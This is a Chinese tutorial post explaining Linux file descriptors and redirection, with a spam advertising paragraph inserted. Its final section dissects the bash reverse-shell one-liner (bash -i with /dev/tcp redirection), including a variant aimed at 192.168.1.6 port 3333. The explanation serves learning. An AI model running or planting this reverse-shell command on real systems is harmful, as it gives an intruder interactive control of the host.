如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

创新互联建站自2013年起,是专业互联网技术服务公司,拥有项目做网站、成都做网站网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元泉山做网站,已为上家服务,为泉山各地企业和个人服务,联系电话:13518219792

这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell

0x01 文件描述符

Linux的文件描述符有以下三种

标准输入:0

标准输出:1

错误输出:2

对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作

0x02 重定向

重定向主要分为以下两种

输入重定向 <、<<

输出重定向 >、>>

通过下面的两张图就可以很明白的看出来他们的用途了

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

我们也可以把错误的内容重定向到另一个文件中的

下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

如何理解Linux重定向及反弹shell

其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出

0x03 反弹shell

下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释

bash -i >& /dev/tcp/ip/port 0>&1

解释

bash -i

表示创建一个交互式的shell,可以在帮助文档中看到

如何理解Linux重定向及反弹shell

/dev/tcp/ip/port

实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

如何理解Linux重定向及反弹shell

0>&1

将标准输入和标准输出重定向到指定的文件中

如果把这条命令改成2>&1可能会更容易理解一点

如何理解Linux重定向及反弹shell

如果理解了上面这个的话,对于这个就很容易理解了

>&

将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机

理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

如何理解Linux重定向及反弹shell

可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的

同样的,我们将 0>&1 变为 0>&2 是一样的效果

至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。

看完上述内容,你们掌握如何理解Linux重定向及反弹shell的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注创新互联行业资讯频道,感谢各位的阅读!


分享名称:如何理解Linux重定向及反弹shell
链接URL:http://ybzwz.com/article/iighco.html